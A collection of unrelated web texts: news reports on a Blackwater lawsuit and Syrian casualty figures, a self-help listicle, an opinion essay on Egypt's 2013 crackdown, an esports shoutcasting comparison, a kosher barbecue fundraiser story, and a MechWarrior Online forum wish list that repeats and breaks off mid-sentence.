[JURIST] A judge for the US District Court for the Eastern District of North Carolina [official website] ruled Wednesday that a lawsuit against Blackwater [JURIST news archive], now known as Xe Services [corporate website], can proceed in state court. The suit revolves around a 2007 shooting incident [JURIST news report] in the Nisour Square area of Baghdad that left 17 Iraqi civilians dead. A subsequent FBI [official website] investigation revealed that 14 of the deaths were unjustified acts of excessive force [NYT report]. The lawsuit, the last remaining in relation to the shooting incident, was filed by the families of six victims. In his ruling, Judge Terrence Boyle said that nonresidents lack the right to sue in federal court for injuries sustained outside of the country, but that federal courts are obligated to remand such cases to the state level, where North Carolina law permits such suits.
Foreign governments as well as US courts and agencies continue to scrutinize the role of private security contractors in conflicts abroad as incidents of violence and abuse have raised concerns that the firms operate largely outside of the law. In October, the Afghan government announced that it had disbanded eight private security companies [JURIST report] operating locally and confiscated their weapons pursuant to a decree from President Hamid Karzai [official profile]. In September, a judge in the US District Court for the Eastern District of Virginia [official website] declared a mistrial [JURIST report] in a murder case against two Blackwater defense contractors after the jury failed to reach a verdict following nine hours of deliberation. The defendants were charged with killing two unnamed men in Kabul and argued self-defense. In February, the US Department of Justice (DOJ) [official website] announced that it had launched an investigation [JURIST report] into Blackwater following allegations that the company bribed Iraqi officials with $1 million to allow them to continue operating in the country after the Nisour Square incident. Bribery of foreign officials is a violation of the Foreign Corrupt Practices Act (FCPA) [text, 15 USC § 78dd-1 text]. |
ISTANBUL
The Syrian Network for Human Rights (SNHR) said in a Monday report that 1,793 people were killed in December.
The group said that this year’s death toll now stands at 21,179 – 75 percent of whom were killed by the Assad regime.
The London-based NGO documented 15,748 deaths by regime forces, including 12,044 civilians. At least 2,592 of the victims were children and 1,957 were women.
According to the report, Russian forces killed 849 civilians, including 199 children and 109 women since September.
Syrian Kurdish forces killed 132 civilians, including 32 children and 12 women. Daesh killed 2,098 people, including 1,366 civilians, while Nusra Front killed 167 people, including 89 civilians.
Also, 1,121 people were killed by Syrian opposition factions, including 1,072 civilians.
At least 250,000 people have been killed since the Syria conflict began in 2011, according to UN figures. |
How to Stay Positive: 11 Smart Habits
“Having a positive mental attitude is asking how something can be done rather than saying it can’t be done.”
Bo Bennett
“To avoid situations in which you might make mistakes may be the biggest mistake of all.”
Peter McWilliams
“We don’t see things as they are, we see them as we are.”
Anais Nin
One of the very first things I started to work on consciously with my own personal development was to improve my outlook on life.
It was over 10 years ago that I started to delve into this topic and to step by step – and while sometimes tumbling backwards – build a more optimistic outlook.
An attitude that would over time become more and more stable so that I could not only look at the world in a positive way during good days. But also so I could stay positive and constructive even during tough times and keep working towards something better.
In this article I’d like to share 11 of the best, smartest and most effective habits for doing so that I have learned during over more than a decade.
Bonus: Download a free step-by-step checklist that will show you how to stay positive (including 3 bonus steps that are not in this post). It’s easy to save as a PDF or print out for whenever you need it during your day or week
I hope you will find something helpful here.
1. Find the optimistic viewpoint in a negative situation.
One of the simplest but most effective ways to build a more positive outlook has in my experience been to ask more helpful questions as often as possible.
When I am in what seems like a negative situation – maybe I have been lazy, made a mistake, failed or stumbled in some kind of way – then I like to ask myself questions like:
What is one thing that is positive or good about this situation?
What is one opportunity within this situation?
Doing so is a whole lot better than what I used to do in such situations. Because back then I usually asked myself how much I sucked and how things could get even worse now.
I do however not always use these questions right away. Oftentimes I need a bit of time to process the thoughts and feelings that arise in situation before I can do that. Trying to force optimistic thinking when you are still in an emotional turmoil or a bit shocked usually don’t work that well.
2. Cultivate and live in a positive environment.
Who you choose to spend your time with and the input you get from further away like the TV, the internet and magazines will have a huge effect on your outlook.
To be able to stay positive it is essential to have influences in your life that support you and lift you up instead of dragging you down.
So carefully consider what you let into your mind.
You can for example ask yourself:
Who are the 3 most negative people I spend time with?
What are the 3 of most negative sources of information I spend time on?
Consider the answers. Then think about how you can start spending less time with one of those people or information sources this week.
And how you can spend more of the time you have now freed up with one of the most positive sources or people in your life.
3. Go slowly.
I have found that when I go too fast, when I try to think, talk, eat and move around in my world really quickly then things don’t go too well.
Stress builds up. Negative thoughts about just about anything start to well up and I feel like my own personal power decreases.
But if I slow down just for a few minutes – even if I have to force it by walking, talking and eating slower – then my mind and body calms down too. It becomes easier to think things through clearly again and easier to find the optimistic and constructive perspective.
4. Don’t make a mountain out of a molehill.
It’s very easy to lose perspective, especially if you are stressed and you are going too fast.
And so a molehill can become a big and terrifying mountain in your mind.
A simple three step way to handle these situations so they don’t get out of hand is to:
Say stop. In your mind, shout “STOP!” or “NOPE, we are not going down that path again!” as soon as thoughts of this kind starts to spin in your head.
In your mind, shout “STOP!” or “NOPE, we are not going down that path again!” as soon as thoughts of this kind starts to spin in your head. Breathe. After you have disrupted the thoughts by shouting stop sit down and just be still. Breathe with your belly and focus on just your in-breaths and out-breaths for a minute or two to calm your mind and body down.
After you have disrupted the thoughts by shouting stop sit down and just be still. Breathe with your belly and focus on just your in-breaths and out-breaths for a minute or two to calm your mind and body down. Refocus. Question your mountain building thoughts by talking to someone close to you and getting a more grounded perspective on the situation by just venting or by getting his or her input. Or simply ask yourself this to widen your perspective and to chill out: Will this matter in 5 years? Or even 5 weeks?
5. Don’t let vague fears hold you back from doing what you want.
Sometimes you may want to take a chance in life. Start a new habit that feels unfamiliar, your own business on the side or ask someone out for a date.
A common trap when you want to do one of those things is to get lost in vague fears and about what could happen if you actually took action.
And so the mind runs wild fueled by fear and it creates nightmare scenarios and plenty of self-doubt.
I know. I have been there many times.
So I have learned to ask myself this: honestly, what is the worst that could happen?
When I have figured that out I also spend a bit of time on trying to figure out what I could do if that that often pretty unlikely thing happens.
I have over the years discovered that the worst thing that could realistically happen is usually not as scary as the nightmare my fear-fueled mind could produce.
Finding clarity in this way doesn’t take much time or effort and it can help you to avoid much mind made suffering. And help you to get going, step outside of your comfort zone and take that chance.
6. Add value and positivity to someone else’s life.
What you send out you tend to get back from the world and the people in it.
Not from everyone. And not every time.
But what you send out there matters a whole lot.
What you give them and how you treat them is what you’ll get back. And they way you treat others and how you think of them also tend to have a big effect on how you treat and think about yourself.
So give value and spread the positivity by for example:
Helping out. Lend a hand when moving. Give a friend a ride in your car. If he or she needs information then help out by checking it up on Google or asking a friend of yours. Or start a blog or a podcast and share what's helped you out in life.
Lend a hand when moving. Give a friend a ride in your car. If he or she needs information then help out by checking it up on Google or asking a friend of yours. Or start a blog or a podcast and share what's helped you out in life. Just listening. Sometimes people don’t want any direct help. They just want someone to be there fully and listening as they vent for a little while.
Sometimes people don’t want any direct help. They just want someone to be there fully and listening as they vent for a little while. Boosting the mood. Smile. Give hugs when appropriate. Play uplifting music when hanging out with a friend or suggest an inspiring movie for your movie night. Or encourage when someone has had a bad day or are going through a tough time.
7. Exercise regularly and eat and sleep well.
This is very obvious of course.
But I know the big, big impact a good night’s sleep or good workout can have when my thoughts are pessimistic and I have a lot of tensions on the inside.
And I know how much simpler it is to think clearly and optimistically when my belly is not empty.
So I highly recommend being careful about these basic habits that may sound boring. Because they do have a huge effect either way depending on how you manage them.
8. Learn to take criticism in a healthy way.
One of the most common fears is the fear of criticism. It can hold people back from doing what they want in life. Because having negativity flowing out of someone’s mouth or email and it being about you can hurt. And being rejected can sting quite a bit.
But if you want to take action on what you deep down want then criticism is pretty much unavoidable. So the key is learning to handle it in a healthier way. By doing so your fear of it will lessen and it will hurt less if you do get criticized.
I usually use four steps when I get some criticism. Maybe they can help you out too:
Step 1: Don’t reply right away. When you are angry, upset or riled up then is time to calm down a bit before you reply. Take at least a couple of deep breaths or a little time to process the message before you respond.
When you are angry, upset or riled up then is time to calm down a bit before you reply. Take at least a couple of deep breaths or a little time to process the message before you respond. Step 2: Really listen to the criticism. Try to remain open and level-headed and figure out how this message can help you. Ask yourself: Is there one thing I can learn from this criticism? Is there something here that I may not want to hear but could help me?
Try to remain open and level-headed and figure out how this message can help you. Ask yourself: Is there one thing I can learn from this criticism? Is there something here that I may not want to hear but could help me? Step 3: Remember that the criticism isn’t always about you. Some criticism is helpful. Some is simply attacks or someone lashing out because they are having bad day, year or job. To lessen the sting of such criticism – often really angry or overly critical in an unconstructive way – I try to be understanding. I think to myself that this person might not be feeling so good at the moment.
Some criticism is helpful. Some is simply attacks or someone lashing out because they are having bad day, year or job. To lessen the sting of such criticism – often really angry or overly critical in an unconstructive way – I try to be understanding. I think to myself that this person might not be feeling so good at the moment. Step 4: Reply or let go. No matter the content of for example an email I try to keep my reply level-headed and kind. I may add a question or two to get more specific feedback that is helpful. And if they don’t reply or I have simply gotten a nasty attack then it is time to delete it and to let that situation go.
9. If something still gets under your skin then know what to do.
Sometimes something can still get under your skin and hurt you. Even if you use the steps above.
Two things that have helped me with that challenge are:
Let it out. Just letting that issue out into the light talking it over with someone close can be very helpful to see it for what it actually is. And to find a healthier perspective on the situation.
Just letting that issue out into the light talking it over with someone close can be very helpful to see it for what it actually is. And to find a healthier perspective on the situation. Improve your self-esteem. I have found over the years that with a stronger self-esteem things drag me down less and they don’t ruin my day as much anymore. Negativity from others bounces off me much more often instead. If you want to practical help with this then have a look at my 12-week, step-by-step Self-Esteem Course.
10. Start your day in a positive way.
How you start your day usually sets the tone for the rest of your day.
So be careful about how you spend your mornings. If you get going at full speed, lost in future troubles in your mind then the stress, perceived loss of power of over your life and negative thoughts will ramp up quickly.
If you on the other hand start your day by moving slowly, by having an uplifting conversation with your family or friend or you spend some time with reading or listening to inspiring and helpful articles or podcasts over breakfast or during your bus ride to work then that can make a big difference for how your whole day will go.
11. Mindfully move through your day.
When you spend your time in the present moment then it becomes so much easier to access positive emotions and to stay practical about what you can actually do about something in your life.
When you get lost in the past or future like so many of us have spent a lot of time on doing then worries very easily become bigger. And failures and mistakes from the past being replayed over and over in your mind drag you down into pessimism.
By moving slowly through your morning and hopefully through much of the rest of your day it becomes easier to mindfully stay in the moment you are in.
Another simple way to reconnect with the moment in you are in and to put your full attention there again is to focus just on what is going on around you right now for a minute or two with all your senses. See it. Hear it. Smell it. Feel the sun, rain or cold wind on your skin.
It might sound like a small and insignificant thing to do. But this simplifying reconnection with the moment can have a very positive effect on the rest of your day.
Here’s the next step…
Now, you may think to yourself:
“This is really helpful information. But what’s the easiest way to put this into practice, actually stick with it and stay positive even on tough days?”.
Well, I’ve got something special for you.
A free step-by-step checklist that includes all the steps in this article… plus 3 additional bonus steps. Save it or print it out so you have it for your daily life and for the next time when you get stuck in negative thinking.
Click the image below to download the free checklist:
Image at the start of the article by Sterlic (license). |
When Salvador Allende, the democratically elected socialist President of Chile, was overthrown by his country’s military—with the awareness, and possible assistance, of the C.I.A.—on September 11, 1973, he committed suicide rather than surrender. By then, Chile’s Air Force had already bombed the Presidential palace, where he had decided to make his last stand. When the smoke cleared, the country’s new leader, the Army commander-in-chief General Augusto Pinochet, told his fellow-countrymen that he had taken the step of removing Allende from office on behalf of the fatherland to save it from Marxist terrorists. “The armed forces of Chile have acted today solely from the patriotic inspiration of saving the country from tremendous chaos into which it was being plunged by the Marxist government of Salvador Allende,” he said. In the days, weeks, and months that followed the coup, thousands of people were hunted down, rounded up, held, tortured, and killed. Their bodies were hidden by, in many cases, secret executioners, all in the name of “freedom” and “the fatherland.”
Three years later, Argentina’s military, taking its cue from Pinochet, overthrew President Isabel Peron and established a junta to oversee a “national reorganization process,” which it asserted was necessary in order to safeguard the country from widening social chaos and Marxist-led “subversion.” But El Proceso, as it was called, soon became known as the “dirty war,” in which Argentina’s military, like Chile’s, used its powers to detain, torture, execute, and disappear anyone it suspected of ideological opposition. Between fifteen and thirty thousand people were killed.
In Chile, Pinochet himself ruled for seventeen years, and, while his rule became a byword for repression around the world, a large percentage of his fellow-citizens acquiesced in the belief that he was all that stood between them and a world of chaos and anarchy. In Argentina, too, many ordinary citizens went along with whatever the military said and did, turning their faces away during the worst of the killing in the belief that it was somehow necessary. In the same period, similar atrocities were being conducted under the guise of combatting Communism in neighboring Uruguay, Paraguay, Bolivia, Brazil—and Chile, too—as the ruling militaries coöperated with one another in a secret program called Operation Condor. By the time it was over, tens of thousands of people had died. Throughout, successive U.S. governments either averted their gaze while the killing was done or, in some of the more shameful episodes, actually advised and assisted those doing the killing—all in the name of defending a greater goal, that of Western “freedom,” in the face of the repressive Communist empire in the East led by the Soviet Union. Journalists who questioned what was going on, or who denounced the killings as human-rights violations, were often killed; outsiders were excoriated for their meddling and for their willingness to believe “the lies of the terrorists.”
The Soviet Union is long gone, of course; the Latin-American juntas are also gone, but the region is still dealing with their traumatic legacy. Left-wing politicians have come to power in most of the Condor countries, and military officers who once regarded themselves as patriotic saviors are being tried and sentenced to long prison terms for the atrocities they committed. As the rule of law emerges, people in societies that once acquiesced in terror, and even justified it, are awakening from their slumber.
Today’s Islamists can be yesterday’s Marxists, it seems: killable on behalf of notional constructs of law and order. In Egypt, a self-aggrandizing military that has mostly known defeat in foreign battle, and has served as an instrument of domestic repression, is running the show, two and a half years after acceding to an ostensible “people’s revolution” demand to displace the country’s (or, rather, the military) dictator, Hosni Mubarak. Now, only seven weeks after the military forcibly removed from office the Muslim Brotherhood leader Mohamed Morsi—who was democratically elected a little more than a year ago—Mubarak’s lawyers have said that he has been acquitted of corruption charges and may be released from custody as early as this week.
The generals, meanwhile, are justifying an ever-widening bloody crackdown on the constituents of the former ruling party, the Muslim Brotherhood, by accusing them all of being terrorists. Immediately after last Wednesday’s sickening killing of more than six hundred Egyptians, including many civilian supporters of the ousted Morsi, the Army spokesman, Ahmed Ali, said, “When dealing with terrorism, the consideration of civil and human rights is not applicable.” The Interior Ministry announced that the Army and the police would be allowed to use “live ammunition” to deal with the people who it was anticipated would gather on Cairo’s streets in Friday’s Day of Rage. The protesters, the cabinet added in a separate statement, had committed acts of “terrorism and vandalism.” At least a hundred people died that day, many of them in the Al Fatah mosque, where members of the Muslim Brotherhood had taken refuge, and from which some fired back at the security forces. Many more died on Saturday. So far, three leaders of the party that, until a month ago, was in power have lost family members. On Tuesday, the military announced that it had captured Mohammed Badie, the spiritual guide of the Muslim Brotherhood, and it exhibited him to television cameras like a kind of war trophy, or, perhaps, a member of an actual terrorist organization, like Al Qaeda. Indeed, that was the suggestion, and in response some of Egypt’s media crowed jubilantly over Badie’s arrest.
While Morsi was no Allende, perhaps, he and his political party’s post-coup demonization is a creepily fascinating process to observe; what is astonishing about it is the rapidity with which it is occurring. After Spain’s bloody civil war, in the nineteen-thirties, it took several more years of Francisco Franco’s terror to convert the survivors of the former Republic into “bandits” in the popular imagination. By the fifties, that was the term everyone used.
The no-holds-barred military terror in Egypt, and the language the military is employing to justify it, is reminiscent of the worst of human legacies. These are the sort of statements made not by ordinary armies but by armies that have embraced ideological convictions that make it easy to shoot down people in the streets, even civilians, if you believe that they are with the terrorists—or whatever it is you decide to call them. There are many Egyptians who are going along with the Army’s violence, supporting it with their own paramilitary gangs. And there are members of the Muslim Brotherhood who are obliging by discarding the idea that there is a place for them in electoral politics and embracing violence. Two acts bode ill: Sunday’s suspicious killing of thirty-six protesters detained in a police van, and Monday’s execution murders of twenty-five police cadets in the Sinai peninsula. (For months, there has been an unravelling security situation as armed Islamists, not necessarily linked to the Muslim Brotherhood, grow stronger and launch attacks. Apologists for the military point to the growing lawlessness in the Sinai, bordering Israel, as a reason not to cut their aid; but it is worth noting that most of the lawlessness occurred under that same military’s watch, since it began with Mubarak’s ouster, not before it.)
There is a build-it-and-they-will-come quality to Egypt’s violence, and it is it not hard to see how today’s mayhem could lead not only to a Dirty War but to a full-scale civil war. Stoking up a jihad is not an abstract or elusive thing; there is a jihadist element in Egypt and across the Middle East, not to mention on the fringes of the Muslim Brotherhood, and it will ignite and become combustive, given the right conditions. And this past week Egypt’s military has provided those conditions.
Thus far, U.S. policy on Egypt has been like the greenhorn at a rodeo—just trying to ride the bull and not fall off. But the U.S. is not so new to this. In Latin America, where several generations of venal dictators found themselves coddled by Washington’s warm embrace, the score settling is still going on. In recent years, thanks to the able mentoring of the Castros and the oil-subsidized largesse of the late Hugo Chávez, of Venezuela, anti-American political regimes have taken root in half a dozen countries across the hemisphere. American acquiescence to Latin dictators, in other words, got us through the Cold War, but as a high, and enduring, cost. It’s not for nothing that Edward Snowden asked Venezuela and Nicaragua for asylum.
For a time, it was possible to forgive the Obama White House its indecision, its tepid wait-for-a rational-response approach in volatile post-Mubarak Egypt. But it is not good enough to cancel the joint U.S.-Egyptian Bright Star military maneuvers that were scheduled for September, and to leave in place $1.3 billion in annual military aid to the regime (almost half of which has yet to be delivered this year), while withdrawing about a quarter of a billion dollars in economic aid. If the Egyptian military’s violence against its own citizens is unacceptable, President Obama has no choice but to take the only moral action that remains available to him: cut military aid to Egypt entirely. This will not “save” Egypt, but neither will Egypt’s military. If the U.S. has any leverage left, it might be best applied to the real financial patrons of General Sisi, Saudi Arabia, Kuwait, and the U.A.E. Or have we now truly entered—or returned to—the age of Kissingerian realpolitik, and actually want the military there to crack down hard and forever, without any pretenses? If we have lost the moral cue cards, we can just watch Syria. That’s real politics. But, as the U.S., we must make it clear what we are doing, and why. We cannot pay for the bullets and then sigh over the victims they kill.
Photograph Stringer/AFP/Getty |
By Dreamer IX at Friday, June 27, 2014 9:49:00 AM
If you ever want to incite a violent argument between nerds, ask whether Star Wars or Star Trek is the better universe. To create a similarly passionate fight to the death amongst the gaming community, ask whether Dota 2 or League of Legends is the better game. Sit down, grab a substantially large bowl of popcorn and watch phrases such as “casual pleb game” and “broken and unbalanced” get thrown around dripping with contempt and unveiled superiority.
Whilst the differences between these two communities will probably never be resolved or handled in a civil manner, I’m taking quite a risk to compare these two games in a way that is rarely spoken about. Shoutcasting. As eSports continues in its pursuit of legitimacy, it’s important to take a step back and look to see if we’re heading in the right direction. Which leads me to make the dangerous decision of comparing shoutcasting standards between Dota 2 and LoL. Informal versus formal. Free spirited versus controlled.
Riot Games and shoutcasting
Riot hires its shoutcasters for its two leagues in America and Europe, namely NA LCS and EU LCS. Thus shoutcasters are full time Riot employees and as such are bound by company rules. Shoutcasters go through training, there are rehearsals before match day and a dress code of smart casual is evident, all of which creates a strictly professional environment in which casting happens.
Casting itself also seems to have rules, with casters not swearing (minus the occasional slip which is promptly ignored) and casters are also reluctant to ever criticise Riot in any way, much to the chagrin of viewers in recent times. Any known bugs in games, or bad management decisions by Riot are glossed over or not even mentioned. In short, Riot runs a tight ship in the shoutcasting department and preparation is paramount in their approach.
Exclusivity is another key aspect of shoutcasting in LoL. No one other than Riot can stream their league games, thus you have to watch Riot’s official streams (either on Twitch, Azubu or YouTube) to watch games. This means only their casters can cast games, further increasing the control Riot has on pro games in Europe and America.
This format is similarly followed in other countries such as Korea and China, who both have their own domestic leagues, although I am admittedly not entirely sure of just how similarly things are run in China, so I stand corrected on that.
Dota 2 and shoutcasting
The competitive landscape in Dota 2 is vastly different to LoL. Tournaments are all run independently of Valve, save for the The Internationals of course. Even then, for the qualifiers, anyone was able to stream the games, allowing various casting teams to cast the games.
Compared to LoL, Dota 2 has a much more lax standard when it comes to shoutcasting. Pro players who are not playing the match are sometimes brought in to cast, adding their knowledge to the games. Casters are dressed in a much more casual way. Casting styles are also a lot more varied, unlike LoL’s formula of paring a colour caster with a play-by-play caster.
What is better for eSports?
Now I know I’m going to rustle jimmies for saying this, but objectively speaking, Riot Games has the superior production by a long mile. The tradeoff for this quality is the high level of control that has all but killed tournaments that aren’t sanctioned by Riot. Pro players playing in Riot’s leagues are not allowed to play in other competitions without Riot’s permission.
Dota 2 on the other hand, thrives on having a wide variety of tournaments with teams getting to play whenever they want. International competitions are significantly more prominent in Dota 2 than LoL because of the lack of regulation and rules. The question is though, which environment is more beneficial for eSports overall?
If eSports is gunning for mainstream acceptance and legitimacy, I think it is important that professionalism is encouraged and a higher standard is expected from shoutcasters. Sure it’s great watching casters having fun and not taking things too seriously, but for new viewers who often have no clue about how the game works, the casters have a duty to make them feel comfortable and teach them about the game.
Legitimacy means getting rid of some things because of expectations. You can’t expect people to take eSports seriously if your casters are wearing hoodies. Whilst many will depict Riot’s control over their scene as tyrannical and unhealthy for eSports, I think it is quite the opposite. Control means uniform quality and that is a trait that will take LoL far in the dream for mainstream acceptance.
Having said that, I do think a higher industry standard can be set without one company having to control everything. Dota 2 can have all its independent tournaments, but I think everyone needs to get on board the idea that professionalism is crucial to long term success. How long that’ll take with everyone doing their own thing is an important question. Too long in my opinion.
What are your thoughts? Do you think Dota 2 can achieve just as much success without having to ‘grow up’? Can eSports stay fun and still gain legitimacy? Let me know.
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MEMPHIS, Tenn. (JTA) — The thick scent of a peppery rub wafted through the Margolin Hebrew Academy and Corky the Pig embroidered his chef’s hat with a K and became a cow.
Just before Purim, the famed Memphis barbecue joint Corky’s, with a hog for its mascot, koshered one of its smokers for a brisket fundraiser on behalf of the city’s Orthodox Jewish day school. Organizers explained that the unusual marriage of brachas and BBQ was a product of a parlous economy, a small school in need of refurbishing with a limited fundraising base and the laid-back traditions of a “Shalom y’all” Southern Jewish way of living.
“We need to find any revenue we can,” said Rabbi Gil Perl, the school’s dean. “We asked ourselves, ‘Do we have a product here valuable enough for a large market nationally?’ ”
In Memphis, one answer to the question was barbecue, and one of the best answers was Corky’s, a top-rated eatery with three branches in the city.
In a town known for offering the best in barbecue, Corky’s is routinely cited in national best-of lists. It also happens to be owned by the Pelts family, which is active in the local Jewish community.
Andy Woodman, the son-in-law of founder Don Pelts, now runs the restaurants with brother-in-law Barry Pelts. Woodman sent his kids to Margolin.
The problem, as anyone scanning the Corky’s menu would see, is that the preferred flesh among Memphis barbecue aficionados is of the porcine variety. You’ve got your smoked sausage and cheese plate, which Corky’s waitstaff eagerly offers as the preferred opener. You’ve got your pulled pork salad. You’ve got your pork ribs, regular and large — opt for the latter and you can sample half a rack dry, half a rack wet.
And in case you missed the point, atop the menu, grinning from under a chef’s hat, is Corky himself, a pig. (Legend has it that Don Pelts was an unreconstructed fan of the 1980s film “Porky’s.”)
Dena Wruble, the Margolin parent who came up with the Corky’s idea, was undaunted by the prevalence of pig on the menu. Sometime in the 2000s, she recalled, Don Pelts purchased a new smoker and before its inaugural use on a pig, lent it to the school for a brisket barbecue. Perhaps that could be replicated?
A new smokers can cost $10,000 — that wasn’t in the offing. Woodman had another idea: Kosher a smoker already in use and donate it to the school permanently. Woodman committed the koshering to film.
“Next time you’re in town, you’ll have to see it, it’s pretty funny,” he said in a phone interview. “We lit it up with Sterno and put wood in the chamber. We had to get it up to 700 degrees. It almost melted. The racks did melt. We had to buy a new set of racks.”
The smoker ready, the parents committee set about seeking kosher brisket. They exhausted a supply in St. Louis and had to call Atlanta for more. For sales, they put out the word through social media; orders came in from as far afield as Los Angeles, New Jersey and Toronto. One buyer made inquiries about how best to pack the meat for an Israel trip.
The smoking and preparation took place on campus, with Corky’s staff in place. Perl recalled the nonplussed reaction of the religion reporter for the Memphis Commercial Appeal, who arrived on campus to cover an unrelated story and saw a truck plastered with a big smiling pig.
“I almost felt bad having that in my driveway,” Perl said. “Almost.”
In honor of the occasion, Woodman converted the Corky figure to a cow and plastered a K on his chef’s hat. No one batted an eye, Woodman and Perl said; Memphians are easygoing folk, including the 8,000 Jews among them.
“I know, it’s funny, a Jewish family owns a pork barbecue place,” he said. “But everyone has always been extremely welcoming.”
In any case, the kosher cow is familiar to Memphis Jews from the occasional Jewish event catered by the family-owned business.
“Some of the promotions also had a line through the pig,” Woodman said. The restaurant’s prize-winning sauce is certified kosher.
Perl said replicating Corky’s pork-smoking techniques on brisket fit into a longstanding tradition.
“We Jews have learned how to imitate every other part of [secular] life, so why not this, too?” he asked.
In the end, the enterprise brought in $100,000 in revenue, netting $20,000 for the school’s sorely needed rehab.
“Someone came in during the smoking,” Perl recalled. “He said, ‘Your school doesn’t look too good, but it sure smells good.’ ” |
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Actions Print Author Topic: New Game Modes - A Fans Wish List Part 1 (Read 1798 times) Cattra Kell Podcast Host
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Extra info Extra info New Game Modes - A Fans Wish List Part 1 [Disclaimer: I work for NGNG and while I have never done any contract work with PGI, I have helped my co-workers who work contracts for PGI in the past, present, and likely I will also continue to help them in the future.]
There has been many posts made by many people with wish lists of features they would like to see PGI implement into the game. I also feel like writing one of these wish lists of features and changes I would like to see hopefully implemented into MWO at some point in the future.
First though – lets get one thing out of the way. I am not going to make a list of 'mechs that I would like to see in the game. I know we would all like to see the Warhammer, Marauder, or [Mech of your choice here] but with over 50 mechs in the game already and over 200 different variants I think that it would be safe to say that another dream mechpack is not something that I would really like to see or need at the moment. Besides I already got all the 'MechPaks I need.
New Game Modes - A Fans Wish List Part 1
One of the first things I would like to see are some new game modes. For the longest time in the pug queue we have had Assault, Conquest and Skirmish. With the introduction of the long awaited Community Warfare we also got Invasion and Counter Attack. There are promises of a scouting game mode for community warfare which involves small groups of players – aside from the information that the scouting game mode will involve small groups of players we actually don't know anything else about how the new game mode will function. Hopefully information about the scouting game mode will come out soon.
I would love to see some new game modes in MWO to support a variety of group sizes. From the lone Pugstar hero to full company sized games I think that having a few more game modes would be a great addition to MWO. For the longest time the pug queue has had three game modes, and all three modes are all more or less variations of one another already. Skirmish is just Assault without the base to cap, and Conquest is just Assault with a few more bases that you can tug of war over. What I am suggesting for new game modes might not be anything new or innovative but at least it would be something new to play around with add a bit more variety to the game. I also am limiting myself to only one game mode for community warfare and one for public queue, because I know that if given the time and the space I could probably write paragraphs of endless gibberish and game mode suggestions.
My first suggestion for a new game mode would very easily become my favorite one to play, an 8 man free for all deathmatch mode. I also understand that it would also require a bit of work due to the fact that I could easily see a map or two needed to support the mode. I also know that my suggestion of a deathmatch mode probably will bring a groan from a lot of you reading this considering the main criticism of MWO that isn't about monetization is about how the game is one giant team deathmatch.
One of the questions that keeps getting brought up during the Town Halls is the inclusion of Solaris VII. We know that the answer given about this is that they would like to do it but sadly it would take a long while to make. I would imagine that including a free for all deathmatch mode would be a good compromise until Solaris VII gets past the drafting stages.
The reason that I suggest that deathmatch mode is restricted to only 8 people is so that the work the matchmaker would have to do be limited as much as possible. This is also assuming that the free for all mode would work much like a solo pug drop which solos are only matched with solos. The real question that I wonder about though is if the free for all matchmaker should be limited by weight or a true bring-what-you-are-best-in brawl. Perhaps bracketed matchmaking, grouping lights and mediums only and heavies and assaults only, would be the ideal way to handle the situation. The reason I even suggest limiting weight is that it doesn't take a Comstar technician to perhaps see that heavies and assaults would easily overtake most of the matches and this could easily reduce the amount of fun a person who enjoys light or mediums mechs. I know I personally would be pissed if I took a Hunchback and was only met with Dire Wolves.
On top of this I suggest that the mode would have a new map – weighted 100% in that mode only. Something that is a simple and small to medium size circle or octagon which would be relatively flat and with a little bit of cover. A typical arena style map.
New Game Modes - A Fans Wish List Part 1 My ideal FFA map.
The second game type I am suggesting is one for community warfare. One which might utilize the continuous drops a bit more then wave combat but also at the same time requires movement. My suggestion would be a king of the hill mission type with moving points. What I mean is think of a conquest style game mode with three points on a map in different locations. Only one point will be active at a time. This means that the team which enters into the point, and holds it long enough to cap it, starts to earn points. Every two or three minutes the cap location will then change to one of the other points – forcing the teams to move around the map and also hopefully forcing inopportune fights in different places of the map. The team with the most points scored by the end of the match, or first team to destroy the enemy team wins.
I am sure that most of the current CW maps could support this game mode if implemented and that no new maps would need to be created in order for it to work properly. I am not saying that the new game mode alone would increase community warfare activity because the problems with Community warfare at the moment is more of a incentive problem over a content problem. That said I do think that another game mode would be interesting to have for community warfare. I also think it would be an interesting game mode for competitive MWO, if/when the community warfare game types become available for private lobbies.
As I stated earlier I could probably ramble and write for hours about game modes I would like to see or that I think would be fun in MWO, but really I just want to get a discussion started again about what game modes people would like to play. I hope you join me next time in the second part of my list of things I would like to see. Next time I try to tackle community warfare and the features I would like to see in CW. There has been many posts made by many people with wish lists of features they would like to see PGI implement into the game. I also feel like writing one of these wish lists of features and changes I would like to see hopefully implemented into MWO at some point in the future.First though – lets get one thing out of the way. I am not going to make a list of 'mechs that I would like to see in the game. I know we would all like to see the Warhammer, Marauder, or [Mech of your choice here] but with over 50 mechs in the game already and over 200 different variants I think that it would be safe to say that another dream mechpack is not something that I would really like to see or need at the moment. Besides I already got all the 'MechPaks I need.One of the first things I would like to see are some new game modes. For the longest time in the pug queue we have had Assault, Conquest and Skirmish. With the introduction of the long awaited Community Warfare we also got Invasion and Counter Attack. There are promises of a scouting game mode for community warfare which involves small groups of players – aside from the information that the scouting game mode will involve small groups of players we actually don't know anything else about how the new game mode will function. Hopefully information about the scouting game mode will come out soon.I would love to see some new game modes in MWO to support a variety of group sizes. From the lone Pugstar hero to full company sized games I think that having a few more game modes would be a great addition to MWO. For the longest time the pug queue has had three game modes, and all three modes are all more or less variations of one another already. Skirmish is just Assault without the base to cap, and Conquest is just Assault with a few more bases that you can tug of war over. What I am suggesting for new game modes might not be anything new or innovative but at least it would be something new to play around with add a bit more variety to the game. I also am limiting myself to only one game mode for community warfare and one for public queue, because I know that if given the time and the space I could probably write paragraphs of endless gibberish and game mode suggestions.My first suggestion for a new game mode would very easily become my favorite one to play, an 8 man free for all deathmatch mode. I also understand that it would also require a bit of work due to the fact that I could easily see a map or two needed to support the mode. I also know that my suggestion of a deathmatch mode probably will bring a groan from a lot of you reading this considering the main criticism of MWO that isn't about monetization is about how the game is one giant team deathmatch.One of the questions that keeps getting brought up during the Town Halls is the inclusion of Solaris VII. We know that the answer given about this is that they would like to do it but sadly it would take a long while to make. I would imagine that including a free for all deathmatch mode would be a good compromise until Solaris VII gets past the drafting stages.The reason that I suggest that deathmatch mode is restricted to only 8 people is so that the work the matchmaker would have to do be limited as much as possible. This is also assuming that the free for all mode would work much like a solo pug drop which solos are only matched with solos. The real question that I wonder about though is if the free for all matchmaker should be limited by weight or a true bring-what-you-are-best-in brawl. Perhaps bracketed matchmaking, grouping lights and mediums only and heavies and assaults only, would be the ideal way to handle the situation. The reason I even suggest limiting weight is that it doesn't take a Comstar technician to perhaps see that heavies and assaults would easily overtake most of the matches and this could easily reduce the amount of fun a person who enjoys light or mediums mechs. I know 